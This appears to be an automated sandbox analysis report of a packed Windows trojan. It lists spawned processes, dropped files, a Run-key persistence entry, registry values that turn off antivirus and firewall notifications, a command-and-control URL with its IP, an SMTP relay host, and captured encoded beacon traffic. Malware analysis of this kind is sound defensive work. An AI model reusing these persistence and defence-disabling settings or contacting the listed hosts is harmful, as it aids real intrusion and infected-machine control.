MD5: 32166e28f6de4ff8037bfabcd51d2d25
SHA1: f8de1c951489bbe86b456f398a71347b72c6817e
SHA256: 96ca34eb189bb9c414fb9de29c193e319e0ed6d6587ead694f594bd66139e954
SSDeep: 24576:FQzGMgkNr2nsM/Gs wb1Ycpy0XlNS pv hM:2zBa2N00XlQC m
Size: 1093120 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2014-02-21 03:12:20
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Process activity

The Trojan creates the following process(es):

smtp_mailer.exe:1760
ke7qslsbgtc2eo.exe:384
ke7qslsbgtbteo.exe:1180
zip.exe:1140
zip.exe:1160
zip.exe:1944
zip.exe:1472
zip.exe:260
zip.exe:828
zip.exe:412
ke7qslsbgtbweo.exe:1132
sbgtbveo.exe:1268
sbgtbveo.exe:572
sbgtbveo.exe:1088
sbgtbveo.exe:1668
sbgtbveo.exe:436
sbgtbveo.exe:1868
unzip.exe:656
unzip.exe:1472
ke7qsl3r0f2aeouizjy9l.exe:1772
ke7qslsbgtc3eo.exe:508
sbgtc5eo.exe:412
qtvtnsadc.exe:628
qtvtnsadc.exe:1748
qtvtnsadc.exe:264
win32blot2.exe:1920
%original file name%.exe:188
abhdqfjyr.exe:1364
abhdqfjyr.exe:1656
win32purst2.exe:1492
ke7qslsbgtbueo.exe:1492
ke7qslsbgtbueo.exe:460
yac32sse41b.exe:1968

The Trojan injects its code into the following process(es):

ke7qslsbgtc4eo.exe:1128
unzip.exe:1128

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process smtp_mailer.exe:1760 makes changes in the file system.
The Trojan deletes the following file(s):

%System%\nkpkpudssleie\smtp\tmp\sbgtbz.txt (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\sbgtc0.txt (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\sbgtbx.txt (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\sbgtc1.txt (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\sbgtby.txt (0 bytes)

The process ke7qslsbgtc2eo.exe:384 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\tst (10 bytes)

The process zip.exe:1140 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\zia01140 (13096 bytes)

The Trojan deletes the following file(s):

%System%\nkpkpudssleie\smtp\tmp\cameron.exe (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\71melinda.zip (0 bytes)

The process zip.exe:1160 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\zia01160 (13052 bytes)

The Trojan deletes the following file(s):

%System%\nkpkpudssleie\smtp\tmp\justin.exe (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\82adam.zip (0 bytes)

The process zip.exe:1944 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\zia01944 (12866 bytes)

The Trojan deletes the following file(s):

%System%\nkpkpudssleie\smtp\tmp\galen82.zip (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\garnette.exe (0 bytes)

The process zip.exe:1472 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\zia01472 (13051 bytes)

The Trojan deletes the following file(s):

%System%\nkpkpudssleie\smtp\tmp\23hugh.zip (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\bill.exe (0 bytes)

The process zip.exe:260 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\zia00260 (13040 bytes)

The Trojan deletes the following file(s):

%System%\nkpkpudssleie\smtp\tmp\wilmer89.zip (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\corinne.exe (0 bytes)

The process zip.exe:828 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\zia00828 (13058 bytes)

The Trojan deletes the following file(s):

%System%\nkpkpudssleie\smtp\tmp\dyer.exe (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\83ariella.zip (0 bytes)

The process zip.exe:412 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\zia00412 (13076 bytes)

The Trojan deletes the following file(s):

%System%\nkpkpudssleie\smtp\tmp\pearlie.exe (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\trinity67.zip (0 bytes)

The process sbgtbveo.exe:1268 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\cameron.exe (5506 bytes)

The process sbgtbveo.exe:572 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\justin.exe (5506 bytes)

The process sbgtbveo.exe:1088 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\dyer.exe (5506 bytes)

The process sbgtbveo.exe:1668 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\bill.exe (5506 bytes)

The process sbgtbveo.exe:436 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\corinne.exe (5506 bytes)

The process sbgtbveo.exe:1868 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\pearlie.exe (5506 bytes)

The process unzip.exe:1128 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\smtp_mailer.exe (5873 bytes)
%System%\nkpkpudssleie\smtp\zip.exe (1425 bytes)

The process unzip.exe:656 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\p2p_04\yac\yac32avx10b.exe (601 bytes)
%System%\p2p_04\win64\win64purst2.exe (673 bytes)
%System%\p2p_04\yac\yac64sse41b.exe (673 bytes)
%System%\p2p_04\yac\yac32sse41b.exe (601 bytes)
%System%\p2p_04\win64\win64blot2.exe (673 bytes)
%System%\p2p_04\yac\yac32fast.exe (601 bytes)
%System%\p2p_04\yac\yac64fast.exe (673 bytes)
%System%\p2p_04\yac\yac64avx10b.exe (673 bytes)
%System%\p2p_04\yac\yac64sse20b.exe (673 bytes)
%System%\p2p_04\yac\yac32sse20b.exe (601 bytes)
%System%\p2p_04\win32\win32purst2.exe (673 bytes)
%System%\p2p_04\win32\win32blot2.exe (673 bytes)

The process unzip.exe:1472 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\smtp_mailer.exe (5873 bytes)
%System%\nkpkpudssleie\smtp\zip.exe (1425 bytes)

The Trojan deletes the following file(s):

%System%\nkpkpudssleie\smtp\smtp_mailer.exe (0 bytes)
%System%\nkpkpudssleie\smtp\zip.exe (0 bytes)

The process ke7qsl3r0f2aeouizjy9l.exe:1772 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\tst (10 bytes)
%System%\abhdqfjyr.exe (7433 bytes)

The process sbgtc5eo.exe:412 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\garnette.exe (3703 bytes)

The process qtvtnsadc.exe:628 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\tst (10 bytes)

The process qtvtnsadc.exe:1748 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\tst (10 bytes)

The process qtvtnsadc.exe:264 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\tst (10 bytes)

The process %original file name%.exe:188 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\tst (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ke7qsl3r0f2aeouizjy9l.exe (5442 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\ke7qsl3r0f2aeouizjy9l.exe (0 bytes)

The process abhdqfjyr.exe:1364 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\smtp\tmp\sbgtc0.txt (342 bytes)
%System%\nkpkpudssleie\run (10 bytes)
%System%\p2p_04.zip (20060 bytes)
%WinDir%\Temp\ke7qslsbgtbteo.exe (35 bytes)
%System%\nkpkpudssleie\tst (10 bytes)
%System%\nkpkpudssleie\cfg (230 bytes)
%System%\nkpkpudssleie\por (1 bytes)
%System%\nkpkpudssleie\smtp\tmp\sbgtbx.txt (342 bytes)
%System%\nkpkpudssleie\rng (92 bytes)
%System%\unzip.exe (7100 bytes)
%WinDir%\Temp\ke7qslsbgtc4eo.exe (1940 bytes)
%System%\nkpkpudssleie\smtp\smtp_mailer.zip (15540 bytes)
%System%\qtvtnsadc.exe (7433 bytes)
%System%\nkpkpudssleie\smtp\tmp\sbgtbz.txt (342 bytes)
%WinDir%\Temp\ke7qslsbgtbueo.exe (35 bytes)
%WinDir%\Temp\ke7qslsbgtbweo.exe (2820 bytes)
%WinDir%\Temp\sbgtbveo.exe (2820 bytes)
%WinDir%\Temp\ke7qslsbgtc2eo.exe (7433 bytes)
%WinDir%\Temp\sbgtc5eo.exe (2820 bytes)
%System%\nkpkpudssleie\smtp\tmp\sbgtby.txt (340 bytes)
%WinDir%\Temp\ke7qslsbgtc3eo.exe (35 bytes)
%System%\nkpkpudssleie\smtp\tmp\sbgtc1.txt (340 bytes)

The Trojan deletes the following file(s):

%WinDir%\Temp\sbgtbveo.exe (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\83ariella.zip (0 bytes)
%WinDir%\Temp\ke7qslsbgtc2eo.exe (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\trinity67.zip (0 bytes)
%WinDir%\Temp\ke7qslsbgtbweo.exe (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\23hugh.zip (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\82adam.zip (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\71melinda.zip (0 bytes)
%System%\nkpkpudssleie\smtp\tmp\wilmer89.zip (0 bytes)
%WinDir%\Temp\ke7qslsbgtc3eo.exe (0 bytes)
%WinDir%\Temp\ke7qslsbgtbueo.exe (0 bytes)
%WinDir%\Temp\ke7qslsbgtbteo.exe (0 bytes)

The process abhdqfjyr.exe:1656 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\nkpkpudssleie\tst (10 bytes)

Registry activity

The process smtp_mailer.exe:1760 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1E 9D A2 98 51 91 CF FB 4B 3A 17 E4 F8 A1 AC 05"

The process ke7qslsbgtc2eo.exe:384 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CC 88 E0 A6 A9 96 96 A9 71 9E 79 3E F9 DF DB CD"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process ke7qslsbgtbteo.exe:1180 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "07 81 6F AB 8A D1 B6 78 86 B8 45 7E D3 D7 E7 AC"

The process ke7qslsbgtc4eo.exe:1128 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 2B 3C BA 2C 92 CB 9F 40 59 D5 41 30 8B EE B2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process ke7qslsbgtbweo.exe:1132 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

The process sbgtbveo.exe:1268 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5A C1 6D C3 61 56 C2 4D 2A F3 AC 7E 9F 13 B7 C2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process sbgtbveo.exe:572 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C0 1D 29 61 A2 F7 F5 CB FD 74 96 5C A3 3A EE E6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process sbgtbveo.exe:1088 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3A 1D 20 75 B6 19 08 27 35 F0 60 11 CA 1F FE B2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process sbgtbveo.exe:1668 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8D 93 C7 77 68 84 FA D1 4D BE FC 81 CC B1 40 BF"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process sbgtbveo.exe:436 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C5 EF 76 67 6F 1D 6F F9 B3 69 7F 01 2B 2D CA 31"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process sbgtbveo.exe:1868 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "70 13 CA 1E CF 08 98 CD 00 50 B3 C8 AE BD 22 67"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process unzip.exe:1128 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 4D 70 D2 DB A2 03 8F A8 98 08 CC 20 5D 64 A7"

The process unzip.exe:656 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 5D 3A B8 6B E1 A5 84 5F 4C 00 2E 2D 08 6E 22"

The process unzip.exe:1472 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 7C F8 C2 AF 23 35 45 2F 9C E2 14 54 2C 98 2C"

The process ke7qsl3r0f2aeouizjy9l.exe:1772 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A4 00 26 B3 B1 C4 58 19 CD 43 4B 0C 39 7A 50 17"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Discovery Removal BranchCache" = "%System%\abhdqfjyr.exe"

The process ke7qslsbgtc3eo.exe:508 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E9 80 EE 80 67 AF DD D1 86 2E 3E 9F FF D3 BC A3"

The process sbgtc5eo.exe:412 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DC 05 01 E3 A4 F5 CB 19 32 A9 44 F9 ED C3 97 2E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process qtvtnsadc.exe:628 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 F0 C7 8C E4 FA 70 B9 68 8F 14 D0 2B 08 2D 91"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process qtvtnsadc.exe:1748 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "70 5A D2 95 84 FD 70 C6 86 F2 F1 93 B3 1A FE 5E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process qtvtnsadc.exe:264 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "80 4A 06 9C A0 B5 2D 35 A9 E5 DC EF E6 2E E9 50"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process win32blot2.exe:1920 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKU\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiscSpaceChecks" = "1"

The process %original file name%.exe:188 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E3 1F E2 C4 87 4F AF 60 30 5A B4 6B 2A 95 3D D5"

The process abhdqfjyr.exe:1364 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7F 1C 17 8F 05 A9 21 D2 87 81 E9 A6 28 4F B0 33"

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"
"FirewallDisableNotify" = "1"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

The process abhdqfjyr.exe:1656 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "17 94 C3 95 47 8C 36 2E 21 1F 0C FA 36 89 A4 F5"

The process win32purst2.exe:1492 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 3F AE 00 9F B1 7C F0 15 E3 54 E8 75 3C 6C 30"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

The process ke7qslsbgtbueo.exe:1492 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "99 E1 C0 07 E0 B6 44 EE BC 08 31 48 69 D2 D2 56"

The process ke7qslsbgtbueo.exe:460 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B1 5E 2B B8 E8 68 7D 46 05 95 83 57 33 D0 25 C8"

The process yac32sse41b.exe:1968 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9A F0 3E 3A 09 38 97 B8 A3 81 CF 75 98 9A A6 8B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://185.106.120.168/index.php
smtp.carpenteriadiciccio.it	62.149.128.203

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 539

qioumj=p3arNI0y53ADnyrNuCvzA1+6FcDE+NV3HnKikxYrDTMhrFvTrYunZT9wvozaSh5oj9/SyZsxaWVyktzFod1rZABP2MOgDBsaDzXyc9AvZCd+p9nm45Im+E8fywb35mSX/4yeZdOGON6PcQym4IllVv7D+UItZLd/n3FTK3/k0mjd535wLjXYPFG8ufTigg2h2S0IkyUWdhvtCW9UW7hnct7pbGPizmBlK3eu6ggVs7Tyv48SnQUTQpHITvoooTIvzuwiVZVgd/wajNwtVlOBRZKuEn0MhlRos1H3qomWYLEpnkcL/Mj6XsNMKHQBGUtoFrF96IQIaqweL/eUAd+slL33T5r4XFeZwwRYiI1ubZmIGONRQsGuk4SSk7qaht6fPoWclqFFkbuQGoqcDE6WGZlEENJvD9Czwqu3joWYgJrGDoWJqPWzPCXRueF1QzENYMXvZlGigFS/PLzO75SRqu9KnpAkqxCFdN7bgPQMPiNNmlsDDKwmqDvU
HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 09 May 2016 06:19:43 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14
..U......p...e...&....~..

GET /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 09 May 2016 06:19:16 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14
.H.......T..t.gs:..9j.....Y lY.).......A^[email protected]....
2|....%QzT.{T.S.......R......U..k.Y.v.bu.'...Z]=f.i`._.m. ..%.i.......
?.Y....p$....p'...K.!.MV.D...../&`...N/L1...VJ.M.t.r...ZP....../q....Y
k......A...A. .....&...&W..U..O2).Arp{Q...S...|.Z...c..J.5aO.(x..8...3
p.4.....qc.H%.. .Z%1=.gy.V.k.$.~V..1A.O...........A.R.;.:...c..X......
....(=.oD..h....E...)..a>ps....L...uC......0hA.;..Nt.h\..>....s{
.....9^..=.0.yWC.HYZ,..../....w.......6....Kf.I..r.`..)X.........1:..&
gt;.....x..q...8....K.q/R...'...x.=..bI.f2....>..a^'...F1.....0..E6
...`,W..).........Oe._....T.E.R../.|6...#...:.G78.B....;E...<d :%.]
Y_.E1...8......b}V..6.......J"....qo$.l.o..... t.....j.8.=.|.{....9...
sh........\.........:P.......^..w.....aA[d.....B.{c.^e.V..]N..'HU.....
od.^.;.l.<.;.Y"....h...D.....EE..Q..jI,f.<Vy.....w*...... ...5`.
...S....@....&1....z..$.<...[Y\:p._.....'...%./H..^`.7p.w..(..*.e#.
.C ..v...,.5..q....9...WzV..#^..W?...(z\\.C...'.|nJ...7.u.....5_..%^KM
.)...1.I.025.!..1g.......S......e.!.Il...........bB...X...h...#.....H.
....].h....p.-.>VM.Pe}.^!2...r....s'..........k.E.6.7..7k..B.......
L*.kn.{.^I..eV.....b..^......UUVe...^.....].........O ...'...,....p.c.
K..d...w.j...i..#X../c...[r.......>6.........o.]~.e.C.......7(cN...
...;(....;.1..a..U.B..)).c....{OX.0..S.Yo.#.$.9........i.T)9#..>m..
..M..su.d&...

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 181

qioumj=ZKBHmELlC9yn3REmvfpudkMs23onQ7IqFagRPSl9VORwWPc4R81xkIo+Vfaxi2vVgWpoF2viNAq7g3LyYTG8/5JZM46t0u48bBSI4CKI2e7jvQeCckFJSgaO/N9n0v97+crTE04YHuUg7p87OY2smLglnaXk+A==
HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 09 May 2016 06:19:18 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14
.z L..o...ecI;.V>^.a....p...}../..}..kI...a..Sz.).jU..a.`5....@....
.Q([email protected].>B.-..........S....z...\.O.1..G....Ze
...P..G..F..Go3~..a4ZEzJ....VQ....N.U..**j.}......O.D~.zU.a.".....4f..
.......l..7Q.Z....#..ocwr...N...<`..h.....M..}.............i.%.M.{.
....W8N...D`.9f.I&.....S.6L/..^.Y.i.l.'.>[email protected]..............')
*.X.(.......#. ......R%?... ..M-.X...1........i%.......5W^..a.7..>.
l.PRHo.4.L~.xPW._u.7~.my....$hw. -......zL.$..F.".@@.....}.=..D:..eS.}
.U.&,..../.Y.u..e..Tm...4...J. ....J...Y.b.........f.T...Y.<...g8..
=a.~4w............D.l...6....<.....['..!.l..[. ..`.v......(1#w.....
...d..8.0Z....q.O.z.R.O.H.p....Z.;b,..eTx....#...:?.,.<g..:XT3 hP..
..._.K.....%..f.}..V.<u.4@.#.;~X...C.....B........Cu.....2.s.TD....
.:..U...&.g.F...'........-.%...Jf........_.{._.V.c...[.....4..........
...!..(.Qo.jC\X.0.p......"....y[..Q............ .4.m.}%.&...>E..g..
)JKm7...h\.?..i.m......&...{..X?..g.G#..6.f.B...3.....8Y1l.....,`...p.
..Y0ilQdC....V2....Q6F... .p.<ce.....a$...F ?..5..>...f....y..[.
j.G....n^g.....`.]..D...A.../..-#.#G...%..9^[email protected]$...in.c...H......'PS
[email protected].[i..6....S1:...j)..Z.3......h...l.l7q..G.%.
|'5..3D......k..LSU.......$.5....u.....A_|. ....p.cm.E0........U..e..A
.R. ......8....Rt...Z....<.@GZmu[Aub.H.4...o/.<l1J....=8..G.n.f#
Dr>(..qd..c..ns.4.....%..o..g.<.&.(..6!,....'P.........=.j......
FU.L;.~T.....u..[sg.....4....7..T..).....$.0UnI.7q..*2.....8R#&ZPD.`..
.4....Q.......6.EE...4P,.....`.{.f4..Y...c.x.,.....Z..c;..Q~..>
<<< skipped >>>

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 199

qioumj=yUhCgBwNDsRt3RAgg9ds9Y6TdCAsYmxL8rNzNB5abGysoO5+k0Ju52vzBiwyMPWd9Tcw9sRSFF/aYzRHnwQ0r5dXZ3uoQrIAbe0u4bpzke+H/bkABo8n4dWlbZBceqhfG8IhWWAFG6tpJPcgzXjv3qKoWWPE9cAUHpupJnwFUTpgs0Fomw==
HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Mon, 09 May 2016 06:19:18 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14
c.#@ .m........HX].$u#...3.......2@... A]T...XH..o$h...4.|...6.M.r.&..
A..Q...:...yi.W.`.q8..O.*Du.... .".i.....=....j..4a..oh.;.....g.M.`...
[email protected])........d.f'....W.Y(...S.AV.. ..L.....j&.$5.....4Y......Se...
...\..j.i.p?5x...<5.....&O...'.....t.I....z.xR..<)*.....LJ..'.A.
[email protected]*..).....8.J....Bb.R!k:....T.ol*..m..Z..q.q.8V.B...!..C..
...."......p..q...8.M^..{U.........}x...`..'.p./.....8.K"A.....R=.}./.
..6._.ej/.......K.....>xP.B!.{.l.=.... .u.....<z.3.........~z..S
?o....K...9........4y{...}...?.uo/....l....D.......,{.....c.^@../`.&d.
[email protected]&........}3`..bIb...
.op..7.....j.......M}.r......pw.o8C.7......u.g...3.........cpF..8#....
...HeWg$.]3..5..Vx.d.gF2..#..`..r.HFz.$#..........d.\j2..c.AAy..|.F...
#h.K.4e....... ..F..A#.>..._....h.K.4........x..F.%H#^.....?.W....8
......jh.x5s?....^......XWc...1.L....j...5F.[.#..........cdjz1.'..Y...
...F..<#k...5......d._.....Y....A... GMk..I5....D...".......H.XA$..
 ..N.I.o.$..D...".39...5H...$y...<b.I.Y([email protected]..!......yH.K<
;....R.h.*[email protected]*..4..3...\H%'....M..~0L..y....*a...$=.Jp..%L=:#fB...
U.a*..I...u...T.. ..:}........S...Lsa.....>..b]...........~h...'.#.
@fq..6d|..9.?!.?...w._vO...'t.O..q.K...|G.rB@.....(...c....PP.OF.LBq..
/reOX.7...Na...bs..X.H.D.?~!G......u.........p.....].-$....$._...`m...
